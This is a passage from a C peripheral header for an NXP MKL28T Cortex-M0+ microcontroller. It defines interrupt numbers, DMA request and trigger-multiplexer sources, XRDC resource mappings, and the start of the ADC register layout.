Reserved70_IRQn = 54, /**< Reserved interrupt */
Reserved71_IRQn = 55, /**< Reserved interrupt */
DMA1_04_IRQn = 56, /**< DMA1 channel 0/4 transfer complete (INTMUX source IRQ24) */
DMA1_15_IRQn = 57, /**< DMA1 channel 1/5 transfer complete (INTMUX source IRQ25) */
DMA1_26_IRQn = 58, /**< DMA1 channel 2/6 transfer complete (INTMUX source IRQ26) */
DMA1_37_IRQn = 59, /**< DMA1 channel 3/7 transfer complete (INTMUX source IRQ27) */
DMA1_Error_IRQn = 60, /**< DMA1 error (INTMUX source IRQ28) */
Reserved77_IRQn = 61, /**< Reserved interrupt */
Reserved78_IRQn = 62, /**< Reserved interrupt */
Reserved79_IRQn = 63 /**< Reserved interrupt */
} IRQn_Type;
/*!
* @}
*/ /* end of group Interrupt_vector_numbers */
/* ----------------------------------------------------------------------------
-- Cortex M0 Core Configuration
---------------------------------------------------------------------------- */
/*!
* @addtogroup Cortex_Core_Configuration Cortex M0 Core Configuration
* @{
*/
#define __CM0PLUS_REV 0x0000 /**< Core revision r0p0 */
#define __MPU_PRESENT 0 /**< Defines if an MPU is present or not */
#define __VTOR_PRESENT 1 /**< Defines if an MPU is present or not */
#define __NVIC_PRIO_BITS 2 /**< Number of priority bits implemented in the NVIC */
#define __Vendor_SysTickConfig 0 /**< Vendor specific implementation of SysTickConfig is defined */
#include "core_cm0plus.h" /* Core Peripheral Access Layer */
#include "system_MKL28T7_CORE0.h" /* Device specific configuration file */
/*!
* @}
*/ /* end of group Cortex_Core_Configuration */
/* ----------------------------------------------------------------------------
-- Mapping Information
---------------------------------------------------------------------------- */
/*!
* @addtogroup Mapping_Information Mapping Information
* @{
*/
/** Mapping Information */
/*!
* @addtogroup edma_request
* @{
*/
/*******************************************************************************
* Definitions
******************************************************************************/
/*!
* @brief Structure for the DMA hardware request
*
* Defines the structure for the DMA hardware request collections. The user can configure the
* hardware request into DMAMUX to trigger the DMA transfer accordingly. The index
* of the hardware request varies according to the to SoC.
*/
typedef enum _dma_request_source
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kDmaRequestMux0Disable = 0|0x100U, /**< DMAMUX TriggerDisabled. */
kDmaRequestMux0FlexIO0Channel0 = 1|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel1 = 2|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel2 = 3|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel3 = 4|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel4 = 5|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel5 = 6|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel6 = 7|0x100U, /**< FLEXIO0. */
kDmaRequestMux0FlexIO0Channel7 = 8|0x100U, /**< FLEXIO0. */
kDmaRequestMux0LPI2C0Rx = 9|0x100U, /**< LPI2C0 Receive. */
kDmaRequestMux0LPI2C0Tx = 10|0x100U, /**< LPI2C0 Transmit. */
kDmaRequestMux0LPI2C1Rx = 11|0x100U, /**< LPI2C1 Receive. */
kDmaRequestMux0LPI2C1Tx = 12|0x100U, /**< LPI2C1 Transmit. */
kDmaRequestMux0LPI2C2Rx = 13|0x100U, /**< LPI2C2 Receive. */
kDmaRequestMux0LPI2C2Tx = 14|0x100U, /**< LPI2C2 Transmit. */
kDmaRequestMux0LPUART0Rx = 15|0x100U, /**< LPUART0 Receive. */
kDmaRequestMux0LPUART0Tx = 16|0x100U, /**< LPUART0 Transmit. */
kDmaRequestMux0LPUART1Rx = 17|0x100U, /**< LPUART1 Receive. */
kDmaRequestMux0LPUART1Tx = 18|0x100U, /**< LPUART1 Transmit. */
kDmaRequestMux0LPUART2Rx = 19|0x100U, /**< LPUART2 Receive. */
kDmaRequestMux0LPUART2Tx = 20|0x100U, /**< LPUART2 Transmit. */
kDmaRequestMux0LPSPI0Rx = 21|0x100U, /**< LPSPI0 Receive. */
kDmaRequestMux0LPSPI0Tx = 22|0x100U, /**< LPSPI0 Transmit. */
kDmaRequestMux0LPSPI1Rx = 23|0x100U, /**< LPSPI1 Receive. */
kDmaRequestMux0LPSPI1Tx = 24|0x100U, /**< LPSPI1 Transmit. */
kDmaRequestMux0LPSPI2Rx = 25|0x100U, /**< LPSPI2 Receive. */
kDmaRequestMux0LPSPI2Tx = 26|0x100U, /**< LPSPI2 Transmit. */
kDmaRequestMux0TPM0Channel0 = 27|0x100U, /**< TPM0 C0V Transmit. */
kDmaRequestMux0TPM0Channel1 = 28|0x100U, /**< TPM0 C1V Transmit. */
kDmaRequestMux0TPM0Channel2 = 29|0x100U, /**< TPM0 C2V Transmit. */
kDmaRequestMux0TPM0Channel3 = 30|0x100U, /**< TPM0 C3V Transmit. */
kDmaRequestMux0TPM0Channel4 = 31|0x100U, /**< TPM0 C4V Transmit. */
kDmaRequestMux0TPM0Channel5 = 32|0x100U, /**< TPM0 C5V Transmit. */
kDmaRequestMux0Reserved33 = 33|0x100U, /**< Reserved33 */
kDmaRequestMux0Reserved34 = 34|0x100U, /**< Reserved34 */
kDmaRequestMux0TPM0Overflow = 35|0x100U, /**< TPM0. */
kDmaRequestMux0TPM1Channel0 = 36|0x100U, /**< TPM1 C0V Transmit. */
kDmaRequestMux0TPM1Channel1 = 37|0x100U, /**< TPM1 C1V Transmit. */
kDmaRequestMux0TPM1Overflow = 38|0x100U, /**< TPM1. */
kDmaRequestMux0TPM2Channel0 = 39|0x100U, /**< TPM2 C0V Transmit. */
kDmaRequestMux0TPM2Channel1 = 40|0x100U, /**< TPM2 C1V Transmit. */
kDmaRequestMux0TPM2Overflow = 41|0x100U, /**< TPM2. */
kDmaRequestMux0PortM = 42|0x100U, /**< PORTM. */
kDmaRequestMux0EMVSIM0Rx = 43|0x100U, /**< EMVSIM0 Receive. */
kDmaRequestMux0EMVSIM0Tx = 44|0x100U, /**< EMVSIM0 Transmit. */
kDmaRequestMux0I2S0Rx = 45|0x100U, /**< I2S0 Receive. */
kDmaRequestMux0I2S0Tx = 46|0x100U, /**< I2S0 Transmit. */
kDmaRequestMux0PortA = 47|0x100U, /**< PTA. */
kDmaRequestMux0PortB = 48|0x100U, /**< PTB. */
kDmaRequestMux0PortC = 49|0x100U, /**< PTC. */
kDmaRequestMux0PortD = 50|0x100U, /**< PTD. */
kDmaRequestMux0PortE = 51|0x100U, /**< PTE. */
kDmaRequestMux0ADC0 = 52|0x100U, /**< ADC0. */
kDmaRequestMux0Reserved53 = 53|0x100U, /**< Reserved53 */
kDmaRequestMux0DAC0 = 54|0x100U, /**< DAC0. */
kDmaRequestMux0Reserved55 = 55|0x100U, /**< Reserved55 */
kDmaRequestMux0CMP0 = 56|0x100U, /**< CMP0. */
kDmaRequestMux0CMP1 = 57|0x100U, /**< CMP1. */
kDmaRequestMux0Reserved58 = 58|0x100U, /**< Reserved58 */
kDmaRequestMux0Reserved59 = 59|0x100U, /**< Reserved59 */
kDmaRequestMux0TSI0 = 60|0x100U, /**< TSI0. */
kDmaRequestMux0LPTMR0 = 61|0x100U, /**< LPTMR0. */
kDmaRequestMux0LPTMR1 = 62|0x100U, /**< LPTMR1. */
kDmaRequestMux0AlwaysOn63 = 63|0x100U, /**< DMAMUX Always Enabled slot. */
kDmaRequestMux1Disable = 0|0x200U, /**< DMAMUX TriggerDisabled. */
kDmaRequestMux1FlexIO0Channel0 = 1|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel1 = 2|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel2 = 3|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel3 = 4|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel4 = 5|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel5 = 6|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel6 = 7|0x200U, /**< FLEXIO0. */
kDmaRequestMux1FlexIO0Channel7 = 8|0x200U, /**< FLEXIO0. */
kDmaRequestMux1LPI2C0Rx = 9|0x200U, /**< LPI2C0 Receive. */
kDmaRequestMux1LPI2C0Tx = 10|0x200U, /**< LPI2C0 Transmit. */
kDmaRequestMux1LPI2C1Rx = 11|0x200U, /**< LPI2C1 Receive. */
kDmaRequestMux1LPI2C1Tx = 12|0x200U, /**< LPI2C1 Transmit. */
kDmaRequestMux1LPI2C2Rx = 13|0x200U, /**< LPI2C2 Receive. */
kDmaRequestMux1LPI2C2Tx = 14|0x200U, /**< LPI2C2 Transmit. */
kDmaRequestMux1LPUART0Rx = 15|0x200U, /**< LPUART0 Receive. */
kDmaRequestMux1LPUART0Tx = 16|0x200U, /**< LPUART0 Transmit. */
kDmaRequestMux1LPUART1Rx = 17|0x200U, /**< LPUART1 Receive. */
kDmaRequestMux1LPUART1Tx = 18|0x200U, /**< LPUART1 Transmit. */
kDmaRequestMux1LPUART2Rx = 19|0x200U, /**< LPUART2 Receive. */
kDmaRequestMux1LPUART2Tx = 20|0x200U, /**< LPUART2 Transmit. */
kDmaRequestMux1LPSPI0Rx = 21|0x200U, /**< LPSPI0 Receive. */
kDmaRequestMux1LPSPI0Tx = 22|0x200U, /**< LPSPI0 Transmit. */
kDmaRequestMux1LPSPI1Rx = 23|0x200U, /**< LPSPI1 Receive. */
kDmaRequestMux1LPSPI1Tx = 24|0x200U, /**< LPSPI1 Transmit. */
kDmaRequestMux1LPSPI2Rx = 25|0x200U, /**< LPSPI2 Receive. */
kDmaRequestMux1LPSPI2Tx = 26|0x200U, /**< LPSPI2 Transmit. */
kDmaRequestMux1TPM0Channel0 = 27|0x200U, /**< TPM0 C0V Transmit. */
kDmaRequestMux1TPM0Channel1 = 28|0x200U, /**< TPM0 C1V Transmit. */
kDmaRequestMux1TPM0Channel2 = 29|0x200U, /**< TPM0 C2V Transmit. */
kDmaRequestMux1TPM0Channel3 = 30|0x200U, /**< TPM0 C3V Transmit. */
kDmaRequestMux1TPM0Channel4 = 31|0x200U, /**< TPM0 C4V Transmit. */
kDmaRequestMux1TPM0Channel5 = 32|0x200U, /**< TPM0 C5V Transmit. */
kDmaRequestMux1Reserved33 = 33|0x200U, /**< Reserved33 */
kDmaRequestMux1Reserved34 = 34|0x200U, /**< Reserved34 */
kDmaRequestMux1TPM0Overflow = 35|0x200U, /**< TPM0. */
kDmaRequestMux1TPM1Channel0 = 36|0x200U, /**< TPM1 C0V Transmit. */
kDmaRequestMux1TPM1Channel1 = 37|0x200U, /**< TPM1 C1V Transmit. */
kDmaRequestMux1TPM1Overflow = 38|0x200U, /**< TPM1. */
kDmaRequestMux1TPM2Channel0 = 39|0x200U, /**< TPM2 C0V Transmit. */
kDmaRequestMux1TPM2Channel1 = 40|0x200U, /**< TPM2 C1V Transmit. */
kDmaRequestMux1TPM2Overflow = 41|0x200U, /**< TPM2. */
kDmaRequestMux1PortM = 42|0x200U, /**< PORTM. */
kDmaRequestMux1EMVSIM0Rx = 43|0x200U, /**< EMVSIM0 Receive. */
kDmaRequestMux1EMVSIM0Tx = 44|0x200U, /**< EMVSIM0 Transmit. */
kDmaRequestMux1I2S0Rx = 45|0x200U, /**< I2S0 Receive. */
kDmaRequestMux1I2S0Tx = 46|0x200U, /**< I2S0 Transmit. */
kDmaRequestMux1PortA = 47|0x200U, /**< PTA. */
kDmaRequestMux1PortB = 48|0x200U, /**< PTB. */
kDmaRequestMux1PortC = 49|0x200U, /**< PTC. */
kDmaRequestMux1PortD = 50|0x200U, /**< PTD. */
kDmaRequestMux1PortE = 51|0x200U, /**< PTE. */
kDmaRequestMux1ADC0 = 52|0x200U, /**< ADC0. */
kDmaRequestMux1Reserved53 = 53|0x200U, /**< Reserved53 */
kDmaRequestMux1DAC0 = 54|0x200U, /**< DAC0. */
kDmaRequestMux1Reserved55 = 55|0x200U, /**< Reserved55 */
kDmaRequestMux1CMP0 = 56|0x200U, /**< CMP0. */
kDmaRequestMux1CMP1 = 57|0x200U, /**< CMP1. */
kDmaRequestMux1Reserved58 = 58|0x200U, /**< Reserved58 */
kDmaRequestMux1Reserved59 = 59|0x200U, /**< Reserved59 */
kDmaRequestMux1TSI0 = 60|0x200U, /**< TSI0. */
kDmaRequestMux1LPTMR0 = 61|0x200U, /**< LPTMR0. */
kDmaRequestMux1LPTMR1 = 62|0x200U, /**< LPTMR1. */
kDmaRequestMux1AlwaysOn63 = 63|0x200U, /**< DMAMUX Always Enabled slot. */
#else
#error "No valid CPU defined!"
#endif
} dma_request_source_t;
/* @} */
/*!
* @addtogroup trgmux_source
* @{ */
/*******************************************************************************
* Definitions
*******************************************************************************/
/*!
* @brief Structure for the TRGMUX source
*
* Defines the structure for the TRGMUX source collections.
*/
typedef enum _trgmux_source
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kTRGMUX_SourceDisabled = 0U, /**< Trigger function is disabled */
kTRGMUX_SourcePortPin = 1U, /**< Port pin trigger intput is selected */
kTRGMUX_SourceFlexIOTimer0 = 2U, /**< FlexIO Timer 0 input is selected */
kTRGMUX_SourceFlexIOTimer1 = 3U, /**< FlexIO Timer 1 input is selected */
kTRGMUX_SourceFlexIOTimer2 = 4U, /**< FlexIO Timer 2 input is selected */
kTRGMUX_SourceFlexIOTimer3 = 5U, /**< FlexIO Timer 3 input is selected */
kTRGMUX_SourceFlexIOTimer4 = 6U, /**< FlexIO Timer 4 input is selected */
kTRGMUX_SourceFlexIOTimer5 = 7U, /**< FlexIO Timer 5 input is selected */
kTRGMUX_SourceFlexIOTimer6 = 8U, /**< FlexIO Timer 6 input is selected */
kTRGMUX_SourceFlexIOTimer7 = 9U, /**< FlexIO Timer 7 input is selected */
kTRGMUX_SourceTpm0Overflow = 10U, /**< TPM0 Overflow is selected */
kTRGMUX_SourceTpm0Ch0 = 11U, /**< TPM0 Channel 0 is selected */
kTRGMUX_SourceTpm0Ch1 = 12U, /**< TPM0 Channel 1 is selected */
kTRGMUX_SourceTpm1Overflow = 13U, /**< TPM1 Overflow is selected */
kTRGMUX_SourceTpm1Ch0 = 14U, /**< TPM1 Channel 0 is selected */
kTRGMUX_SourceTpm1Ch1 = 15U, /**< TPM1 Channel 1 is selected */
kTRGMUX_SourceLpit1Ch0 = 16U, /**< LPIT1 Channel 0 is selected */
kTRGMUX_SourceLpit1Ch1 = 17U, /**< LPIT1 Channel 1 is selected */
kTRGMUX_SourceLpit1Ch2 = 18U, /**< LPIT1 Channel 2 is selected */
kTRGMUX_SourceLpit1Ch3 = 19U, /**< LPIT1 Channel 3 is selected */
kTRGMUX_SourceLpuart0RxData = 20U, /**< LPUART0 RX Data is selected */
kTRGMUX_SourceLpuart0TxData = 21U, /**< LPUART0 TX Data is selected */
kTRGMUX_SourceLpuart0RxIdle = 22U, /**< LPUART0 RX Idle is selected */
kTRGMUX_SourceLpuart1RxData = 23U, /**< LPUART1 RX Data is selected */
kTRGMUX_SourceLpuart1TxData = 24U, /**< LPUART1 TX Data is selected */
kTRGMUX_SourceLpuart1RxIdle = 25U, /**< LPUART1 RX Idle is selected */
kTRGMUX_SourceLpi2c0MasterStop = 26U, /**< LPI2C0 Master STOP is selected */
kTRGMUX_SourceLpi2c0SlaveStop = 27U, /**< LPI2C0 Slave STOP is selected */
kTRGMUX_SourceLpi2c1MasterStop = 28U, /**< LPI2C1 Master STOP is selected */
kTRGMUX_SourceLpi2c1SlaveStop = 29U, /**< LPI2C1 Slave STOP is selected */
kTRGMUX_SourceLpspi0Frame = 30U, /**< LPSPI0 Frame is selected */
kTRGMUX_SourceLpspi0RxData = 31U, /**< LPSPI0 RX Data is selected */
kTRGMUX_SourceLpspi1Frame = 32U, /**< LPSPI1 Frame is selected */
kTRGMUX_SourceLpspi1RxData = 33U, /**< LPSPI1 RX Data is selected */
kTRGMUX_SourceRtcSecCount = 34U, /**< RTC Seconds Counter is selected */
kTRGMUX_SourceRtcAlarm = 35U, /**< RTC Alarm is selected */
kTRGMUX_SourceLptmr0Trg = 36U, /**< LPTMR0 Trigger is selected */
kTRGMUX_SourceLptmr1Trg = 37U, /**< LPTMR1 Trigger is selected */
kTRGMUX_SourceCmp0Output = 38U, /**< CMP0 Output is selected */
kTRGMUX_SourceCmp1Output = 39U, /**< CMP1 Output is selected */
kTRGMUX_SourceAdc0ConvAComplete = 40U, /**< ADC0 Conversion A Complete is selected */
kTRGMUX_SourceAdc0ConvBComplete = 41U, /**< ADC0 Conversion B Complete is selected */
kTRGMUX_SourcePortAPinTrg = 42U, /**< Port A Pin Trigger is selected */
kTRGMUX_SourcePortBPinTrg = 43U, /**< Port B Pin Trigger is selected */
kTRGMUX_SourcePortCPinTrg = 44U, /**< Port C Pin Trigger is selected */
kTRGMUX_SourcePortDPinTrg = 45U, /**< Port D Pin Trigger is selected */
kTRGMUX_SourcePortEPinTrg = 46U, /**< Port E Pin Trigger is selected */
kTRGMUX_SourceTpm2Overflow = 47U, /**< TPM2 Overflow is selected */
kTRGMUX_SourceTpm2Ch0 = 48U, /**< TPM2 Channel 0 is selected */
kTRGMUX_SourceTpm2Ch1 = 49U, /**< TPM2 Channel 1 is selected */
kTRGMUX_SourceLpit0Ch0 = 50U, /**< LPIT0 Channel 0 is selected */
kTRGMUX_SourceLpit0Ch1 = 51U, /**< LPIT0 Channel 1 is selected */
kTRGMUX_SourceLpit0Ch2 = 52U, /**< LPIT0 Channel 2 is selected */
kTRGMUX_SourceLpit0Ch3 = 53U, /**< LPIT0 Channel 3 is selected */
kTRGMUX_SourceUsbSof = 54U, /**< USB Start-of-Frame is selected */
kTRGMUX_SourceLpuart2RxData = 55U, /**< LPUART2 RX Data is selected */
kTRGMUX_SourceLpuart2TxData = 56U, /**< LPUART2 TX Data is selected */
kTRGMUX_SourceLpuart2RxIdle = 57U, /**< LPUART2 RX Idle is selected */
kTRGMUX_SourceLpi2c2MasterStop = 58U, /**< LPI2C2 Master STOP is selected */
kTRGMUX_SourceLpi2c2SlaveStop = 59U, /**< LPI2C2 Slave STOP is selected */
kTRGMUX_SourceLpspi2Frame = 60U, /**< LPSPI2 Frame is selected */
kTRGMUX_SourceLpspi2RxData = 61U, /**< LPSPI2 RX Data is selected */
kTRGMUX_SourceI2c0TxFrameSync = 62U, /**< I2C0 TX Frame Sync is selected */
kTRGMUX_SourceI2c0RxFrameSync = 63U, /**< I2C0 RX Frame Sync is selected */
#else
#error "No valid CPU defined!"
#endif
} trgmux_source_t;
/*!
* @brief Structure for the TRGMUX device
*
* Defines the structure for the TRGMUX device collections.
*/
typedef enum _trgmux_device
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kTRGMUX_Trgmux0Dmamux0 = 0U, /**< DMAMUX0 device trigger input */
kTRGMUX_Trgmux0Lpit0 = 1U, /**< LPIT0 device trigger input */
kTRGMUX_Trgmux0Tpm2 = 2U, /**< TPM2 device trigger input */
kTRGMUX_Trgmux1Tpm0 = 2U, /**< TPM0 device trigger input */
kTRGMUX_Trgmux0Adc0 = 4U, /**< ADC0 device trigger input */
kTRGMUX_Trgmux1Flexio = 4U, /**< FLEXIO device trigger input */
kTRGMUX_Trgmux0Lpuart2 = 5U, /**< LPUART2 device trigger input */
kTRGMUX_Trgmux1Lpuart0 = 5U, /**< LPUART0 device trigger input */
kTRGMUX_Trgmux0Lpi2c2 = 7U, /**< LPI2C2 device trigger input */
kTRGMUX_Trgmux1Lpi2c0 = 7U, /**< LPI2C0 device trigger input */
kTRGMUX_Trgmux0Lpspi2 = 9U, /**< LPSPI2 device trigger input */
kTRGMUX_Trgmux1Lpsi0 = 9U, /**< LPSPI0 device trigger input */
kTRGMUX_Trgmux0Cmp0 = 11U, /**< CMP0 device trigger input */
kTRGMUX_Trgmux0Cmp1 = 12U, /**< CMP1 device trigger input */
kTRGMUX_Trgmux0Dac0 = 13U, /**< DAC0 device trigger input */
kTRGMUX_Trgmux1Tpm1 = 3U, /**< TPM1 device trigger input */
kTRGMUX_Trgmux1Lpuart1 = 6U, /**< LPUART1 device trigger input */
kTRGMUX_Trgmux1Lpi2c1 = 8U, /**< LPI2C1 device trigger input */
kTRGMUX_Trgmux1Lpspi1 = 10U, /**< LPSPI1 device trigger input */
#else
#error "No valid CPU defined!"
#endif
} trgmux_device_t;
/* @} */
/*!
* @addtogroup xrdc_mapping
* @{
*/
/*******************************************************************************
* Definitions
******************************************************************************/
/*!
* @brief Structure for the XRDC mapping
*
* Defines the structure for the XRDC resource collections.
*/
typedef enum _xrdc_master
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kXRDC_MasterCpu0 = 0U, /**< CPU0 */
kXRDC_MasterDma0 = 1U, /**< DMA0 */
kXRDC_MasterUsb = 2U, /**< USB */
kXRDC_MasterCpu1 = 36U, /**< CPU1 */
kXRDC_MasterDma1 = 37U, /**< DMA1 */
#else
#error "No valid CPU defined!"
#endif
} xrdc_master_t;
typedef enum _xrdc_mem
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kXRDC_MemMrc0_0 = 0U, /**< MRC0 Memory 0 */
kXRDC_MemMrc0_1 = 1U, /**< MRC0 Memory 1 */
kXRDC_MemMrc0_2 = 2U, /**< MRC0 Memory 2 */
kXRDC_MemMrc0_3 = 3U, /**< MRC0 Memory 3 */
kXRDC_MemMrc0_4 = 4U, /**< MRC0 Memory 4 */
kXRDC_MemMrc0_5 = 5U, /**< MRC0 Memory 5 */
kXRDC_MemMrc0_6 = 6U, /**< MRC0 Memory 6 */
kXRDC_MemMrc0_7 = 7U, /**< MRC0 Memory 7 */
kXRDC_MemMrc1_0 = 16U, /**< MRC1 Memory 0 */
kXRDC_MemMrc1_1 = 17U, /**< MRC1 Memory 1 */
kXRDC_MemMrc1_2 = 18U, /**< MRC1 Memory 2 */
kXRDC_MemMrc1_3 = 19U, /**< MRC1 Memory 3 */
kXRDC_MemMrc1_4 = 20U, /**< MRC1 Memory 4 */
kXRDC_MemMrc1_5 = 21U, /**< MRC1 Memory 5 */
kXRDC_MemMrc1_6 = 22U, /**< MRC1 Memory 6 */
kXRDC_MemMrc1_7 = 23U, /**< MRC1 Memory 7 */
#else
#error "No valid CPU defined!"
#endif
} xrdc_mem_t;
typedef enum _xrdc_periph
{
#if defined(CPU_MKL28T512VDC7_CORE0) || defined(CPU_MKL28T512VLH7_CORE0) || defined(CPU_MKL28T512VLL7_CORE0) || defined(CPU_MKL28T512VMP7_CORE0)
kXRDC_PeriphMscm = 1U, /**< Miscellaneous System Control Module */
kXRDC_PeriphDma0 = 8U, /**< DMA0 Controller */
kXRDC_PeriphDma0Tcd = 9U, /**< DMA0 TCD */
kXRDC_PeriphGpio = 15U, /**< GPIO */
kXRDC_PeriphXrdc0 = 20U, /**< XRDC0 */
kXRDC_PeriphXrdc1 = 21U, /**< XRDC1 */
kXRDC_PeriphXrdc2 = 22U, /**< XRDC2 */
kXRDC_PeriphXrdc3 = 23U, /**< XRDC3 */
kXRDC_PeriphSema420 = 27U, /**< SEMA420 */
kXRDC_PeriphFmu = 32U, /**< Flash Memory Unit */
kXRDC_PeriphDmamux0 = 33U, /**< DMA0 Channel Multiplexer */
kXRDC_PeriphMu0_A = 35U, /**< Message Unit 0 (MU0_A) */
kXRDC_PeriphIntmux0 = 36U, /**< INTMUX0 */
kXRDC_PeriphTrgmux0 = 39U, /**< TRGMUX0 */
kXRDC_PeriphTpm2 = 46U, /**< TPM2 */
kXRDC_PeriphLpit0 = 48U, /**< LPIT0 */
kXRDC_PeriphLptmr0 = 52U, /**< LPTMR0 */
kXRDC_PeriphRtc = 56U, /**< RTC */
kXRDC_PeriphLpspi2 = 62U, /**< LPSPI2 */
kXRDC_PeriphLpi2c2 = 66U, /**< LPI2C2 */
kXRDC_PeriphLpuart2 = 70U, /**< LPUART2 */
kXRDC_PeriphSai0 = 76U, /**< LPSAI0 */
kXRDC_PeriphEmvsim0 = 78U, /**< EMVSIM0 */
kXRDC_PeriphUsb0 = 85U, /**< USB0 */
kXRDC_PeriphPortA = 90U, /**< PORTA Multiplex Control */
kXRDC_PeriphPortB = 91U, /**< PORTB Multiplex Control */
kXRDC_PeriphPortC = 92U, /**< PORTC Multiplex Control */
kXRDC_PeriphPortD = 93U, /**< PORTD Multiplex Control */
kXRDC_PeriphPortE = 94U, /**< PORTE Multiplex Control */
kXRDC_PeriphLlwu0 = 97U, /**< Low-leakage Wake-up Unit 0 (LLWU0) */
kXRDC_PeriphTsi0 = 98U, /**< TSI0 */
kXRDC_PeriphAdc0 = 102U, /**< ADC0 */
kXRDC_PeriphDac0 = 106U, /**< DAC0 */
kXRDC_PeriphCmp0 = 110U, /**< CMP0 */
kXRDC_PeriphVref = 114U, /**< VREF */
kXRDC_PeriphSim = 116U, /**< SIM */
kXRDC_PeriphTstmr0 = 117U, /**< TSTMR0 */
kXRDC_PeriphWdog0 = 118U, /**< WDOG0 */
kXRDC_PeriphCrc = 120U, /**< CRC */
kXRDC_PeriphPcc0 = 122U, /**< PCC0 */
kXRDC_PeriphScg = 123U, /**< SCG */
kXRDC_PeriphSysReg = 123U, /**< System Register File */
kXRDC_PeriphPmc = 125U, /**< PMC */
kXRDC_PeriphSmc = 126U, /**< SMC */
kXRDC_PeriphRcm = 127U, /**< RCM */
kXRDC_PeriphDma1 = 136U, /**< DMA1 Controller */
kXRDC_PeriphDma1Tcd = 137U, /**< DMA1 TCD */
kXRDC_PeriphRpmGpio = 143U, /**< RPM GPIO Controller */
kXRDC_PeriphSema421 = 155U, /**< SEMA42 1 */
kXRDC_PeriphDmamux1 = 161U, /**< DMA1 Channel Multiplexer */
kXRDC_PeriphMu0_B = 163U, /**< Memory Unit 0 (MU0_B) */
kXRDC_PeriphIntmux1 = 164U, /**< INTMUX1 */
kXRDC_PeriphTrng = 165U, /**< Random Number Generator */
kXRDC_PeriphTrgmux1 = 167U, /**< TRGMUX1 */
kXRDC_PeriphTpm0 = 172U, /**< TPM0 */
kXRDC_PeriphTpm1 = 173U, /**< TPM1 */
kXRDC_PeriphLpit1 = 177U, /**< LPIT1 */
kXRDC_PeriphLptrm1 = 181U, /**< Low-power Timer 1 */
kXRDC_PeriphLpspi0 = 188U, /**< LPSPI0 */
kXRDC_PeriphLpspi1 = 189U, /**< LPSPI1 */
kXRDC_PeriphLpi2c0 = 192U, /**< LPI2C0 */
kXRDC_PeriphLpi2c1 = 193U, /**< LPI2C1 */
kXRDC_PeriphLpuart0 = 196U, /**< LPUART0 */
kXRDC_PeriphLpuart1 = 197U, /**< LPUART1 */
kXRDC_PeriphFlexio0 = 202U, /**< FLEXIO0 */
kXRDC_PeriphPortRpm = 224U, /**< PORTRPM */
kXRDC_PeriphLlwu1 = 225U, /**< LLWU1 */
kXRDC_PeriphCmp1 = 239U, /**< CMP1 */
kXRDC_PeriphTstmr1 = 245U, /**< TSTMR1 */
kXRDC_PeriphWdog1 = 246U, /**< WDOG1 */
kXRDC_PeriphPcc1 = 250U, /**< PCC1 */
kXRDC_PeriphUsbram = 256U, /**< USB RAM */
#else
#error "No valid CPU defined!"
#endif
} xrdc_periph_t;
/* @} */
/*!
* @}
*/ /* end of group Mapping_Information */
/* ----------------------------------------------------------------------------
-- Device Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup Peripheral_access_layer Device Peripheral Access Layer
* @{
*/
/*
** Start of section using anonymous unions
*/
#if defined(__ARMCC_VERSION)
#pragma push
#pragma anon_unions
#elif defined(__CWCC__)
#pragma push
#pragma cpp_extensions on
#elif defined(__GNUC__)
/* anonymous unions are enabled by default */
#elif defined(__IAR_SYSTEMS_ICC__)
#pragma language=extended
#else
#error Not supported compiler type
#endif
/* ----------------------------------------------------------------------------
-- ADC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup ADC_Peripheral_Access_Layer ADC Peripheral Access Layer
* @{
*/
/** ADC - Register Layout Typedef */
typedef struct {
__IO uint32_t SC1[2]; /**< ADC Status and Control Registers 1, array offset: 0x0, array step: 0x4 */
__IO uint32_t CFG1; /**< ADC Configuration Register 1, offset: 0x8 */
__IO uint32_t CFG2; /**< ADC Configuration Register 2, offset: 0xC */
__I uint32_t R[2]; /**< ADC Data Result Register, array offset: 0x10, array step: 0x4 */
__IO uint32_t CV1; /**< Compare Value Registers, offset: 0x18 */
__IO uint32_t CV2; /**< Compare Value Registers, offset: 0x1C */
__IO uint32_t SC2; /**< Status and Control Register 2, offset: 0x20 */
__IO uint32_t SC3; /**< Status and Control Register 3, offset: 0x24 */
__IO uint32_t OFS; /**< ADC Offset Correction Register, offset: 0x28 */
__IO uint32_t PG; /**< ADC Plus-Side Gain Register, offset: 0x2C */
__IO uint32_t MG; /**< ADC Minus-Side Gain Register, offset: 0x30 */
__IO uint32_t CLPD; /**< ADC Plus-Side General Calibration Value Register, offset: 0x34 */
__IO uint32_t CLPS; /**< ADC Plus-Side General Calibration Value Register, offset: 0x38 */
__IO uint32_t CLP4; /**< ADC Plus-Side General Calibration Value Register, offset: 0x3C */
__IO uint32_t CLP3; /**< ADC Plus-Side General Calibration Value Register, offset: 0x40 */
